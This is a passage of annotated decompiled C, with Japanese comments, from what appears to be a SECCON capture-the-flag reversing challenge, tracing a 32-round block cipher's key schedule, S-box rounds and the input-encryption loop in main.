    pairForEncrypt_ByteCount4_Index68PlusOffset = *(ElementByteCountAndIndexPair *)&pBlockSize16_InEncrypt_Index68And196_PlusOffset->dwIndex;
    r(                                          // 多分1ラウンドの暗号化の一要素
                                                // d = (DWORD[4])pEncryptBlock[4:16] (これは32回ループ中でそれぞれ変化する)
                                                // x = d[1] ^ d[2] ^ d[3] ^ (DWORD)pEncrypt[68+i:68+i+4]
                                                // v = *pdwUnnamed = (sbox[(x & 0xFF)]) | (sbox[(x>>8)  & 0xFF] << 8) | (sbox[(x>>16) & 0xFF] << 16) | (sbox([x>>24) & 0xFF] << 24;
                                                // pStructForEncryptBlock->dwOffset0 = v ^ rol(v,3) ^ rol(v,9) ^ rol(v,14) ^ rol(v,15) ^ d[0]
                                                // d[0]だけ扱いが違うことに注意
      arrayForBlockSize16Size4_InEncryptBlock_Index4And20,
      (const BYTE *)pBlockSize16_InEncrypt_Index68And196_PlusOffset->pData,
      pairForEncrypt_ByteCount4_Index68PlusOffset,
      pStructForEncryptBlock,
      pairForEncryptBlock_ByteCount4_Index0);
    v26 = arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].dwElementBytes;
    if ( arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].dwElementBytes != arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].dwElementBytes )
      BUG();
    if ( arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].dwElementBytes == 1 )// ここから見なくていいコーナー
    {
      mustNotComeHere = (char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].pData
                      + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].dwIndex;
      *((_BYTE *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].pData
      + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].dwIndex) = *mustNotComeHere;
      v14 = arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwElementBytes;
      if ( v26 == arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwElementBytes )
      {
        v15 = (char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].pData
            + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwIndex;
        *mustNotComeHere = *v15;
        if ( arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwElementBytes == v14 )
        {
          *v15 = *((_BYTE *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].pData
                 + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwIndex);
          goto labelBug3;
        }
        goto labelBug;
      }
      goto labelBug2;
    }
    if ( arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].dwElementBytes == 2 )// まだまだ見なくていいコーナー
    {
      mustNotComeHere_1 = (char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].pData
                        + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].dwIndex;
      *(_WORD *)((char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].pData
               + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].dwIndex) = *mustNotComeHere_1;
      v17 = arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwElementBytes;
      if ( v26 == arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwElementBytes )
      {
        v18 = (char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].pData
            + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwIndex;
        *mustNotComeHere_1 = *v18;
        if ( arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwElementBytes == v17 )
        {
          *v18 = *(_WORD *)((char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].pData
                          + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwIndex);
          goto labelBug3;
        }
labelBug:
        BUG();
      }
labelBug2:
      BUG();
    }
    if ( arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].dwElementBytes != 4 )// これまた見なくていいコーナー
    {
      if ( arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].dwElementBytes != 8 )
        BUG();
      mustNotComeHere_2 = (char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].pData
                        + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].dwIndex;
      *(_QWORD *)((char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].pData
                + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].dwIndex) = *mustNotComeHere_2;
      v28 = arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwElementBytes;
      if ( v26 == arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwElementBytes )
      {
        v29 = (char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].pData
            + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwIndex;
        *mustNotComeHere_2 = *v29;
        if ( v28 == arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwElementBytes )
        {
          *v29 = *(_QWORD *)((char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].pData
                           + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwIndex);
labelBug3:
          BUG();
        }
        goto labelBug;
      }
      goto labelBug2;
    }                                           // ここまで見なくていいコーナー
                                                // ここからDWORDずつ手前に詰める処理
    pdwEncryptBlockIndex8 = (int *)((char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].pData
                                  + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].dwIndex);
    *(_DWORD *)((char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].pData
              + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].dwIndex) = *pdwEncryptBlockIndex8;
    v20 = arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwElementBytes;
    if ( v26 != arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwElementBytes )
      goto labelBug2;
    pdwEncryptBlockIndex12 = (int *)((char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].pData
                                   + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwIndex);
    *pdwEncryptBlockIndex8 = *pdwEncryptBlockIndex12;
    v22 = arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwElementBytes;
    if ( arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwElementBytes != v20 )
      goto labelBug;
    pdwEncryptBlockIndex16 = (int *)((char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].pData
                                   + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwIndex);
    *pdwEncryptBlockIndex12 = *pdwEncryptBlockIndex16;
    if ( v22 != 4 )
      goto labelBug3;
    *pdwEncryptBlockIndex16 = pStructForEncryptBlock->dwElsResult;// r関数結果
    ++pBlockSize16_InEncrypt_Index68And196_PlusOffset;
  }
  while ( pBlockSize16_InEncrypt_Index68And196_PlusOffset != pLoopEnd );// 32回ループするはず
  pBlockSize16_InEncrypt_Index28And44_PlusIndex = pArrayForBlockSize16Size4_InEncrypt_Index28And44;// 以降、暗号化結果格納ループ
                                                // pEncrypt[28+(4*i):28+(4*i)+4] = _byteswap_ulong(pEncryptBlock[16-(4+i):20-(4*i)])
  do
  {
    v32 = pBlockSize16_InEncrypt_Index28And44_PlusIndex->dwElementBytes;
    if ( v32 != pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwElementBytes )
      BUG();
    switch ( v32 )
    {
      case 1:
        *((_BYTE *)pBlockSize16_InEncrypt_Index28And44_PlusIndex->pData
        + pBlockSize16_InEncrypt_Index28And44_PlusIndex->dwIndex) = *((_BYTE *)pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].pData
                                                                    + pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwIndex);
        break;
      case 2:
        *(_WORD *)((char *)pBlockSize16_InEncrypt_Index28And44_PlusIndex->pData
                 + pBlockSize16_InEncrypt_Index28And44_PlusIndex->dwIndex) = *(_WORD *)((char *)pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].pData
                                                                                      + pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwIndex);
        break;
      case 4:                                   // ここを通ります
        *(_DWORD *)((char *)pBlockSize16_InEncrypt_Index28And44_PlusIndex->pData
                  + pBlockSize16_InEncrypt_Index28And44_PlusIndex->dwIndex) = *(_DWORD *)((char *)pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].pData
                                                                                        + pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwIndex);
        break;
      case 8:
        *(_QWORD *)((char *)pBlockSize16_InEncrypt_Index28And44_PlusIndex->pData
                  + pBlockSize16_InEncrypt_Index28And44_PlusIndex->dwIndex) = *(_QWORD *)((char *)pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].pData
                                                                                        + pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwIndex);
        break;
      default:
        BUG();
    }
    if ( pBlockSize16_InEncrypt_Index28And44_PlusIndex->dwElementBytes != 4 )
      BUG();
    pdwEncryptIndex28PlusIndex = (unsigned int *)((char *)pBlockSize16_InEncrypt_Index28And44_PlusIndex->pData
                                                + pBlockSize16_InEncrypt_Index28And44_PlusIndex->dwIndex);
    *pdwEncryptIndex28PlusIndex = _byteswap_ulong(*pdwEncryptIndex28PlusIndex);
    ++pBlockSize16_InEncrypt_Index28And44_PlusIndex;
    --pArrayForBlockSize16Size4_InEncryptBlock_Index4And20;
  }
  while ( pArrayForBlockSize16Size4_InEncryptBlock_Index4And20 != &arrayForBlockSize16Size4_InEncryptBlock_Index4And20[-4] );
  munmap(pStructForEncryptBlock, 0x1000uLL);
}

void __fastcall encrypt(
        BlockSize16 *pArrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag,
        const BYTE *pAllocatedForMain,
        ElementByteCountAndIndexPair pairForMain_ByteCount4_Index228,
        const unsigned int *pdwArrayKeySize4_Seccon,
        BlockSize16 *pArrayForBlockSize16Size112_InMain_Index112And224_ForCompareToEnc)
{
  StructForEncrypt *pStructForEncrypt_1; // rax
  StructForEncrypt *pStructForEncrypt; // rbx
  BlockSize16 *pBlockSize16_BetweenIndex52And68; // rcx
  BlockSize16 *pBlockSize16_BetweenIndex52And68_ForInitialize; // rax
  unsigned int dwIndex; // edx
  BlockSize16 *pBlockSize16_BetweenIndex68And196; // rbp
  BlockSize16 *pBlockSize16_BetweenIndex68And196_ForInitialize; // rax
  __int64 dwKeyIndex; // rdx
  int dwKeyValueFromCurrentIndex; // eax
  const unsigned int *pdwCurrentCat; // r15
  int *pdwForIndex56; // r14
  int dwValueIndex1; // eax
  int *pdwForIndex60; // r13
  int dwXorValueOfIndex56_60; // eax
  int *pdwForIndex64; // r12
  ElementByteCountAndIndexPair pairForEncrypt_ByteCount4_Index44; // rsi
  ElementByteCountAndIndexPair pairForEncrypt_ByteCount4_Index48; // rcx
  int *pdwForIndex52; // rax
  int dwXoredFromSomeKeyAndKsResult; // edx
  BlockSize16 *pArrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_OffsetMinux4; // r13
  int dwIndex_StepIs16Byte; // r12d
  BlockSize16 *pBlockSize16_InEncrypt_Index12And28; // rsi
  __int64 dwIndex_StepIs16Byte_; // r12
  BlockSize16 *pArrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_OffsetMinux4PlusIndex; // r8
  BlockSize16 *pLoopEnd; // rdi
  BlockSize16 *pBlockSize16Size112_InMain_ForStoreInputFlag_FromIndex3To0; // rdx
  int dwInputChar3; // ecx
  int dwInputCharBytes; // eax
  BlockSize16 *pBlockSize16_InEncrypt_Index28And44; // rbp
  BlockSize16 *pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc_PlusIndexPlus4; // rdi
  BlockSize16 *pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc; // rax
  int dwValurForTemp; // edx
  int dwIndexForMain_Index228_StrInputWithPaddingLength; // [rsp+Ch] [rbp-32Ch]
  int dwMainElementByteCount; // [rsp+28h] [rbp-310h]
  BlockSize16 arrayForBlockSize16Size4_InEncrypt_Index12And28[4]; // [rsp+30h] [rbp-308h] BYREF
  BlockSize16 arrayForBlockSize16Size4_InEncrypt_Index28And44[4]; // [rsp+70h] [rbp-2C8h] BYREF
  BlockSize16 arrayForBlockSize16Size4_InEncrypt_Index52And68[4]; // [rsp+B0h] [rbp-288h] BYREF
  BlockSize16 arrayForBlockSize16Size4_InEncrypt_Index68And196[32]; // [rsp+F0h] [rbp-248h] BYREF
  __int64 valueForEndLoopUsingAddress; // [rsp+2F0h] [rbp-48h] BYREF
  unsigned __int64 qwCanary; // [rsp+2F8h] [rbp-40h]

  qwCanary = __readfsqword(0x28u);
  dwMainElementByteCount = pairForMain_ByteCount4_Index228.dwElementByteCount;
  dwIndexForMain_Index228_StrInputWithPaddingLength = pairForMain_ByteCount4_Index228.dwIndex;
  pStructForEncrypt_1 = (StructForEncrypt *)mmap(0LL, sizeof(StructForEncrypt), 3, 34, -1, 0LL);
  if ( pStructForEncrypt_1 == (StructForEncrypt *)-1LL )
    exit(1);
  pStructForEncrypt = pStructForEncrypt_1;
  arrayForBlockSize16Size4_InEncrypt_Index12And28[0].pData = pStructForEncrypt_1;// index0, 4, 8は未使用?
  arrayForBlockSize16Size4_InEncrypt_Index12And28[0].dwIndex = 12;
  arrayForBlockSize16Size4_InEncrypt_Index12And28[0].dwElementBytes = 4;
  arrayForBlockSize16Size4_InEncrypt_Index12And28[1].pData = pStructForEncrypt_1;
  arrayForBlockSize16Size4_InEncrypt_Index12And28[1].dwIndex = 16;
  arrayForBlockSize16Size4_InEncrypt_Index12And28[1].dwElementBytes = 4;
  arrayForBlockSize16Size4_InEncrypt_Index12And28[2].pData = pStructForEncrypt_1;
  arrayForBlockSize16Size4_InEncrypt_Index12And28[2].dwIndex = 20;
  arrayForBlockSize16Size4_InEncrypt_Index12And28[2].dwElementBytes = 4;
  arrayForBlockSize16Size4_InEncrypt_Index12And28[3].pData = pStructForEncrypt_1;
  arrayForBlockSize16Size4_InEncrypt_Index12And28[3].dwIndex = 24;
  arrayForBlockSize16Size4_InEncrypt_Index12And28[3].dwElementBytes = 4;
  arrayForBlockSize16Size4_InEncrypt_Index28And44[0].pData = pStructForEncrypt_1;
  arrayForBlockSize16Size4_InEncrypt_Index28And44[0].dwIndex = 28;
  arrayForBlockSize16Size4_InEncrypt_Index28And44[0].dwElementBytes = 4;
  arrayForBlockSize16Size4_InEncrypt_Index28And44[1].pData = pStructForEncrypt_1;
  arrayForBlockSize16Size4_InEncrypt_Index28And44[1].dwIndex = 32;
  arrayForBlockSize16Size4_InEncrypt_Index28And44[1].dwElementBytes = 4;
  arrayForBlockSize16Size4_InEncrypt_Index28And44[2].pData = pStructForEncrypt_1;
  arrayForBlockSize16Size4_InEncrypt_Index28And44[2].dwIndex = 36;
  arrayForBlockSize16Size4_InEncrypt_Index28And44[2].dwElementBytes = 4;
  arrayForBlockSize16Size4_InEncrypt_Index28And44[3].pData = pStructForEncrypt_1;
  arrayForBlockSize16Size4_InEncrypt_Index28And44[3].dwIndex = 40;
  arrayForBlockSize16Size4_InEncrypt_Index28And44[3].dwElementBytes = 4;
  pBlockSize16_BetweenIndex52And68 = arrayForBlockSize16Size4_InEncrypt_Index52And68;
  pBlockSize16_BetweenIndex52And68_ForInitialize = arrayForBlockSize16Size4_InEncrypt_Index52And68;
  for ( dwIndex = 52; dwIndex != 68; dwIndex += 4 )
  {
    pBlockSize16_BetweenIndex52And68_ForInitialize->pData = pStructForEncrypt;
    pBlockSize16_BetweenIndex52And68_ForInitialize->dwIndex = dwIndex;
    pBlockSize16_BetweenIndex52And68_ForInitialize->dwElementBytes = 4;
    ++pBlockSize16_BetweenIndex52And68_ForInitialize;
  }
  pBlockSize16_BetweenIndex68And196 = arrayForBlockSize16Size4_InEncrypt_Index68And196;
  pBlockSize16_BetweenIndex68And196_ForInitialize = arrayForBlockSize16Size4_InEncrypt_Index68And196;
  do
  {
    pBlockSize16_BetweenIndex68And196_ForInitialize->pData = pStructForEncrypt;
    pBlockSize16_BetweenIndex68And196_ForInitialize->dwIndex = dwIndex;
    pBlockSize16_BetweenIndex68And196_ForInitialize->dwElementBytes = 4;
    dwIndex += 4;
    ++pBlockSize16_BetweenIndex68And196_ForInitialize;
  }
  while ( dwIndex != 196 );
  for ( dwKeyIndex = 0LL; dwKeyIndex != 4; ++dwKeyIndex )// StructForEncrypt::[52:64]へ固定値加工内容を格納
  {
    dwKeyValueFromCurrentIndex = fish[dwKeyIndex] ^ _byteswap_ulong(pdwArrayKeySize4_Seccon[dwKeyIndex]);// _byteswap_ulong := reverse endianness
    pStructForEncrypt->dwKeyForWork = dwKeyValueFromCurrentIndex;
    if ( pBlockSize16_BetweenIndex52And68->dwElementBytes != 4 )
      BUG();
    *(_DWORD *)((char *)pBlockSize16_BetweenIndex52And68->pData + pBlockSize16_BetweenIndex52And68->dwIndex) = dwKeyValueFromCurrentIndex;
    ++pBlockSize16_BetweenIndex52And68;
  }
  pdwCurrentCat = (const unsigned int *)cat;
  do                                            // StructForEncrypt::[52:64]をさらに加工、でも全部固定値なので結果も固定値のはず
  {
    if ( arrayForBlockSize16Size4_InEncrypt_Index52And68[1].dwElementBytes != 4 )
      BUG();
    pdwForIndex56 = (int *)((char *)arrayForBlockSize16Size4_InEncrypt_Index52And68[1].pData
                          + arrayForBlockSize16Size4_InEncrypt_Index52And68[1].dwIndex);
    dwValueIndex1 = *pdwForIndex56;
    pStructForEncrypt->dwKeyForWork = *pdwForIndex56;
    if ( arrayForBlockSize16Size4_InEncrypt_Index52And68[2].dwElementBytes != 4 )
      BUG();
    pdwForIndex60 = (int *)((char *)arrayForBlockSize16Size4_InEncrypt_Index52And68[2].pData
                          + arrayForBlockSize16Size4_InEncrypt_Index52And68[2].dwIndex);
    dwXorValueOfIndex56_60 = *pdwForIndex60 ^ dwValueIndex1;
    pStructForEncrypt->dwKeyForWork = dwXorValueOfIndex56_60;
    if ( arrayForBlockSize16Size4_InEncrypt_Index52And68[3].dwElementBytes != 4 )
      BUG();
    pdwForIndex64 = (int *)((char *)arrayForBlockSize16Size4_InEncrypt_Index52And68[3].pData
                          + arrayForBlockSize16Size4_InEncrypt_Index52And68[3].dwIndex);
    pStructForEncrypt->dwKeyForWork = *pdwCurrentCat ^ *pdwForIndex64 ^ dwXorValueOfIndex56_60;// THIS USE !!!cat!!! VALUE
    pairForEncrypt_ByteCount4_Index44 = (ElementByteCountAndIndexPair)0x40000002CLL;// elementByteCount=4, index=0x2c(==0n44)
    pairForEncrypt_ByteCount4_Index48 = (ElementByteCountAndIndexPair)0x400000030LL;// elementByteCount=4, index=0x30(==0n48)
                                                // ks呼び出しが埋もれるので空行で目立たせます
                                                // ks呼び出しが埋もれるので空行で目立たせます
                                                // ks呼び出しが埋もれるので空行で目立たせます
                                                // ks呼び出しが埋もれるので空行で目立たせます
                                                // ks呼び出しが埋もれるので空行で目立たせます
                                                // ks呼び出しが埋もれるので空行で目立たせます
                                                // ks呼び出しが埋もれるので空行で目立たせます
                                                // ks呼び出しが埋もれるので空行で目立たせます
                                                // ks呼び出しが埋もれるので空行で目立たせます
                                                // ks呼び出しが埋もれるので空行で目立たせます
                                                // ks呼び出しが埋もれるので空行で目立たせます
                                                // ks呼び出しが埋もれるので空行で目立たせます
                                                // ks呼び出しが埋もれるので空行で目立たせます
                                                // ks呼び出しが埋もれるので空行で目立たせます
    ks(pStructForEncrypt, pairForEncrypt_ByteCount4_Index44, pStructForEncrypt, pairForEncrypt_ByteCount4_Index48);// pEncrypt->dwOffset48 = sboxやらorやらrotateやら(pEncrypt->dwOffset44)
                                                // ks呼び出しが埋もれるので空行で目立たせます
                                                // ks呼び出しが埋もれるので空行で目立たせます
                                                // ks呼び出しが埋もれるので空行で目立たせます
                                                // ks呼び出しが埋もれるので空行で目立たせます
                                                // ks呼び出しが埋もれるので空行で目立たせます
                                                // ks呼び出しが埋もれるので空行で目立たせます
                                                // ks呼び出しが埋もれるので空行で目立たせます
                                                // ks呼び出しが埋もれるので空行で目立たせます
                                                // ks呼び出しが埋もれるので空行で目立たせます
    if ( arrayForBlockSize16Size4_InEncrypt_Index52And68[0].dwElementBytes != 4 )
      BUG();
    pdwForIndex52 = (int *)((char *)arrayForBlockSize16Size4_InEncrypt_Index52And68[0].pData
                          + arrayForBlockSize16Size4_InEncrypt_Index52And68[0].dwIndex);
    dwXoredFromSomeKeyAndKsResult = pStructForEncrypt->dwXorResultUsingSbox ^ *pdwForIndex52;
    pStructForEncrypt->dwKeyForWork = dwXoredFromSomeKeyAndKsResult;
    if ( pBlockSize16_BetweenIndex68And196->dwElementBytes != 4 )
      BUG();
    *(_DWORD *)((char *)pBlockSize16_BetweenIndex68And196->pData + pBlockSize16_BetweenIndex68And196->dwIndex) = dwXoredFromSomeKeyAndKsResult;// 暗号化結果の格納
    *pdwForIndex52 = *pdwForIndex56;            // DWORD[4]を順繰りに回している
    *pdwForIndex56 = *pdwForIndex60;
    *pdwForIndex60 = *pdwForIndex64;
    *pdwForIndex64 = pStructForEncrypt->dwKeyForWork;
    ++pBlockSize16_BetweenIndex68And196;
    ++pdwCurrentCat;
  }
  while ( pBlockSize16_BetweenIndex68And196 != (BlockSize16 *)&valueForEndLoopUsingAddress );
  pStructForEncrypt->dwIndex_StepIs16Byte = 0;
  if ( dwMainElementByteCount != 4 )
    BUG();
  pArrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_OffsetMinux4 = pArrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag
                                                                                 - 4;// ここの-4は、後で+4して戻してる
  while ( 1 )                                   // 1ブロック(=16バイト)ごとに、入力16バイトと、なにか結果の固定16バイトでなにか暗号化するループ
  {
    dwIndex_StepIs16Byte = pStructForEncrypt->dwIndex_StepIs16Byte;
    if ( (unsigned int)dwIndex_StepIs16Byte >= *(_DWORD *)&pAllocatedForMain[dwIndexForMain_Index228_StrInputWithPaddingLength] )
      break;
    pBlockSize16_InEncrypt_Index12And28 = arrayForBlockSize16Size4_InEncrypt_Index12And28;
    dwIndex_StepIs16Byte_ = dwIndex_StepIs16Byte;
    pArrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_OffsetMinux4PlusIndex = &pArrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_OffsetMinux4[dwIndex_StepIs16Byte_];
    do
    {
      pStructForEncrypt->dwValurForTemp = 0;
      pLoopEnd = pArrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_OffsetMinux4PlusIndex;
      pArrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_OffsetMinux4PlusIndex += 4;// ここでoffsetを元に戻して、pBlockSize16Size112_ForStoreInputFlagにしている?
      pBlockSize16Size112_InMain_ForStoreInputFlag_FromIndex3To0 = pArrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_OffsetMinux4PlusIndex;
      do                                        // 入力先頭3文字目から0文字目までの4文字を見ていそうループ
      {
        if ( pBlockSize16Size112_InMain_ForStoreInputFlag_FromIndex3To0[3].dwElementBytes != 1 )
          BUG();
        dwInputChar3 = *((unsigned __int8 *)pBlockSize16Size112_InMain_ForStoreInputFlag_FromIndex3To0[3].pData
                       + pBlockSize16Size112_InMain_ForStoreInputFlag_FromIndex3To0[3].dwIndex);
        pStructForEncrypt->dwProcessingForInputChar = dwInputChar3;// この代入は無意味では?
        dwInputCharBytes = dwInputChar3 | (pStructForEncrypt->dwValurForTemp << 8);
        pStructForEncrypt->dwValurForTemp = dwInputCharBytes;// input[16*i+3] << 24 | input[16*i+2] << 16 | input[16*i+1] << 8 | input[16*i]
        --pBlockSize16Size112_InMain_ForStoreInputFlag_FromIndex3To0;
      }
      while ( pLoopEnd != pBlockSize16Size112_InMain_ForStoreInputFlag_FromIndex3To0 );
      if ( pBlockSize16_InEncrypt_Index12And28->dwElementBytes != 4 )
        BUG();
      *(_DWORD *)((char *)pBlockSize16_InEncrypt_Index12And28->pData + pBlockSize16_InEncrypt_Index12And28->dwIndex) = dwInputCharBytes;// input[16*i+3] << 24 | input[16*i+2] << 16 | input[16*i+1] << 8 | input[16*i]
      ++pBlockSize16_InEncrypt_Index12And28;
    }
    while ( arrayForBlockSize16Size4_InEncrypt_Index28And44 != pBlockSize16_InEncrypt_Index12And28 );// 4回ループのはず
    pBlockSize16_InEncrypt_Index28And44 = arrayForBlockSize16Size4_InEncrypt_Index28And44;// encrypt_block関数は多分見逃しづらいはずです
                                                // encrypt_block関数は多分見逃しづらいはずです
                                                // encrypt_block関数は多分見逃しづらいはずです
                                                // encrypt_block関数は多分見逃しづらいはずです
                                                // encrypt_block関数は多分見逃しづらいはずです
                                                // encrypt_block関数は多分見逃しづらいはずです
                                                // encrypt_block関数は多分見逃しづらいはずです
                                                // encrypt_block関数は多分見逃しづらいはずです
    encrypt_block(
      arrayForBlockSize16Size4_InEncrypt_Index12And28,
      arrayForBlockSize16Size4_InEncrypt_Index68And196,
      arrayForBlockSize16Size4_InEncrypt_Index28And44);
    pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc_PlusIndexPlus4 = &pArrayForBlockSize16Size112_InMain_Index112And224_ForCompareToEnc[dwIndex_StepIs16Byte_ + 4];// この+4は後で相殺する
    do                                          // encrypt結果16バイトをStructForMainへ格納するループ
    {
      if ( pBlockSize16_InEncrypt_Index28And44->dwElementBytes != 4 )
        BUG();
      pStructForEncrypt->dwValurForTemp = *(_DWORD *)((char *)pBlockSize16_InEncrypt_Index28And44->pData
                                                    + pBlockSize16_InEncrypt_Index28And44->dwIndex);
      pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc = pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc_PlusIndexPlus4
                                                                - 4;// さっきの+4の相殺 + 16ブロックごとindex加算
      do                                        // DWORDを4バイト分に分けて格納するループ
      {
        dwValurForTemp = pStructForEncrypt->dwValurForTemp;
        pStructForEncrypt->dwProcessingForInputChar = (unsigned __int8)pStructForEncrypt->dwValurForTemp;// この代入は無意味では?
        if ( pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc->dwElementBytes != 1 )
          BUG();
        *((_BYTE *)pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc->pData
        + pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc->dwIndex) = dwValurForTemp;// 上の行と合わせて1つの式、行が長い
        pStructForEncrypt->dwValurForTemp = (unsigned int)pStructForEncrypt->dwValurForTemp >> 8;
        ++pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc;
      }
      while ( pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc_PlusIndexPlus4 != pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc );
      ++pBlockSize16_InEncrypt_Index28And44;
      pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc_PlusIndexPlus4 += 4;
    }
    while ( arrayForBlockSize16Size4_InEncrypt_Index52And68 != pBlockSize16_InEncrypt_Index28And44 );
    pStructForEncrypt->dwIndex_StepIs16Byte += 16;
  }
  munmap(pStructForEncrypt, 0x1000uLL);
}

int __fastcall main(int argc, const char **argv, const char **envp)
{
  StructForMain *pStructMain_1; // rax
  StructForMain *pStructMain; // rbx
  BlockSize16 *pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag; // r12
  BlockSize16 *pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_ForInitialize; // rdx
  unsigned int dwIndex; // eax
  BlockSize16 *pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc; // rbp
  BlockSize16 *pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc_ForInitialize; // rdx
  char charCurrent; // al
  char *pStrInputNext; // rcx
  int dwElementBytes_1; // edx
  int dwInputLength; // ecx
  int dwCeiledInputLength; // edx
  unsigned int dwBlockIndex; // eax
  ElementByteCountAndIndexPair pairForMain_ByteCount4_Index228; // rdx
  const _BYTE *pbyteCurrentEnc; // rdx
  int dwElementBytes; // eax
  _BOOL8 bIsWrong; // rax
  BlockSize16 arrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag[112]; // [rsp+0h] [rbp-E98h] BYREF
  BlockSize16 arrayForBlockSize16Size112_InMain_Index112And224_ForCompareToEnc[112]; // [rsp+700h] [rbp-798h] BYREF
  char strInputSize100[120]; // [rsp+E00h] [rbp-98h] BYREF
  unsigned __int64 qwCanary; // [rsp+E78h] [rbp-20h]

  qwCanary = __readfsqword(0x28u);
  pStructMain_1 = (StructForMain *)mmap(0LL, sizeof(StructForMain), 3, 34, -1, 0LL);
  if ( pStructMain_1 == (StructForMain *)-1LL )
    exit(1);
  pStructMain = pStructMain_1;
  pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag = arrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag;
  pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_ForInitialize = arrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag;
  for ( dwIndex = 0; dwIndex != 112; ++dwIndex )
  {
    pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_ForInitialize->pData = pStructMain;
    pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_ForInitialize->dwIndex = dwIndex;// dwIndexは[0, 112)を取る
    pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_ForInitialize->dwElementBytes = 1;
    ++pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_ForInitialize;
  }
  pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc = arrayForBlockSize16Size112_InMain_Index112And224_ForCompareToEnc;
